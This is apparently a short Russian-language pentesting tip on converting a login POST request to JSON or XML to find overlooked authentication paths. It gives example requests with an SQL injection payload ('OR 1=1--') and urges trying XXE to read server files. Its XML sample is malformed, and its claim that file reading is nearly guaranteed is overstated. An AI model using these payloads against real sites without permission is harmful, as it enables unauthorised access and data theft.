Как найти уязвимости там, где их ещё никто не искал? Попробуй перевести POST-запрос, например, для аутентификации в JSON- или XML-формат. Идея в том, что разработчики часто оставляют различные способы аутентификации, обычно, для дальнейшего использования сторонними приложениями. А так как эта функциональность не на виду, часто она не защищена от банальных инъекций. а если в дело вступает XML — чтение произвольных файлов на сервере практически гарантированно!

Смотри, есть стандартный вход на сайт:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
...
username=demologin&password=demopass

Теперь переведем все параметры в json формат

POST /login HTTP/1.1
Content-Type: application/json
...
{ "username": "demologin", "password": "demopass" }

Если аутентификация произошла — попробуй сделать из этого инъекцию, например:

POST /login HTTP/1.1
Content-Type: application/json
...
{ "username": "demologin’ OR 1=1--", "password": "demopass" }

Не забывай, что это JSON, и чтобы не нарушить его структуру, вектор вида " OR "a"="a необходимо отправлять с экранированными кавычками — \" OR \"a\"=\"a.

Так же попробуй перевести в XML, главное не забудь про Content-type, многие веб-приложения не захотят парсить XML без него!

POST /login HTTP/1.1
Content-Type: application/xml
...
<?xml version="1.0" ?>
<username>demologin<username>
<password>demopass</password>

Всё получилось? Пробуй XXE — и возможно у тебя в руках чтение произвольных файлов на сервере. Круто, правда?

Оставить мнение

Check Also

Многочисленные уязвимости в FreeRTOS угрожают безопасности IoT-устройств

Исследователи нашли множество проблем в операционной системе FreeRTOS, что ставит под угро…